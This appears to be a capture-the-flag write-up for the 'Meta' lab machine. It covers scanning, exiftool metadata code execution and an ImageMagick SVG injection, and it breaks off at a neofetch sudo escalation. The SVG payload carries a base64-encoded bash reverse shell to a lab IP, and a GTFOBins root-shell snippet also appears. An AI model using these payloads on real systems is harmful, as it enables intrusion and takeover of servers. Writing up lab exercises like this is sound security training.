Meta

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.204.20
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 14:51 EDT
Nmap scan report for 10.129.204.20
Host is up (0.0076s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

We have to add artcorp.htb to our /etc/hosts file to view port 80.

ArtCorp -> Subdomain Fuzzing

The webpage was a start-up website:

They had a team with some names I might need to use, along with a hint that this was a PHP based website.

There wasn't much on the website, so we can try gobuster scanning for directories and wfuzz scanning for sub-domains. A gobuster scan reveals nothing, but the wfuzz scan did reveal one sub-domain.

$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host:FUZZ.artcorp.htb' --hw=0 -u http://artcorp.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://artcorp.htb/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                     
=====================================================================

000004177:   200        9 L      24 W       247 Ch      "dev01"

Here's the webpage:

Metadata RCE

The application allows us to upload images to the machine.

Wneh an image is uploaded, the metadata of the image is printed on screen below:

This was the output of exiftool, which has some RCE attacks possible through metadata.

GitHub - OneSecCyber/JPEG_RCE: Exiftool bug which leads to RCEGitHub

By following the PoC, I was able to confirm that we had RCE on the machine:

exiftool -config eval.config runme.jpg -eval='system("ls -la")' 
# upload runme.jpg

For some reason, the above PoC doesn't let me execute reverse shells. So I changed the script used to this:

GitHub - convisolabs/CVE-2021-22204-exiftool: Python exploit for the CVE-2021-22204 vulnerability in ExiftoolGitHub

After changing the exploit.py file to have the correct port and IP address, I got a reverse shell.

Privilege Escalation

We cannot grab the user flag yet.

Morgify

There wasn't much on the machine that www-data could access. So I downloaded pspy64 onto the machone to view processes executed by root and the user thomas.

There was a script run by the user:

2023/05/07 09:37:01 CMD: UID=1000 PID=1335   | /usr/sbin/CRON -f 
2023/05/07 09:37:01 CMD: UID=1000 PID=1336   | /bin/bash /usr/local/bin/convert_images.sh 
2023/05/07 09:37:01 CMD: UID=1000 PID=1338   | /bin/bash /usr/local/bin/convert_images.sh 
2023/05/07 09:37:01 CMD: UID=0    PID=1337   | /usr/sbin/CRON -f 
2023/05/07 09:37:01 CMD: UID=0    PID=1339   | /bin/sh -c rm /tmp/* 
2023/05/07 09:37:01 CMD: UID=1000 PID=1340   | pkill mogrify

Here's the script:

www-data@meta:/tmp$ cat /usr/local/bin/convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify

mogrify was used, and it is an image editor that is part of ImageMagick. We can first find the version of ImageMagick used here:

www-data@meta:/tmp$ mogrify --version
Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org
Copyright: © 1999-2020 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): fontconfig freetype jng jpeg png x xml zlib

Interesting. There are some RCE exploits pertaining to this:

https://www.cybersecurity-help.cz/vdb/SB2020121303www.cybersecurity-help.cz

GitHub - lnwza0x0a/CVE-2020-29599GitHub

How the exploit works is thorugh embedding XML code within an SVG file. Here's the SVG file I used:

<image authenticate='ff" `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMy80NDQ0IDA+JjEK | base64 -d | bash`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:exploit.svg" height="100" width="100"/>
  </svg>
</image>

This uses a base64 encoded bash one-liner reverse shell. After waiting for a little bit, we should get a shell as thomas.

Neofetch

When we check sudo privileges, we see the following:

thomas@meta:~$ sudo -l
Matching Defaults entries for thomas on meta:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+=XDG_CONFIG_HOME

User thomas may run the following commands on meta:
    (root) NOPASSWD: /usr/bin/neofetch \"\"

GTFOBins does have a command for this binary, but it doesn't work:

TF=$(mktemp)
echo 'exec /bin/sh' >$TF
sudo neofetch --config $TF

Then, I noticed the XDG_CONFIG_HOME environment variable. The exploit above relies on changing the configuration files for neofetch. In this case, since we cannot specify any flags, we can just create a malicious configuration file that would give us a root shell.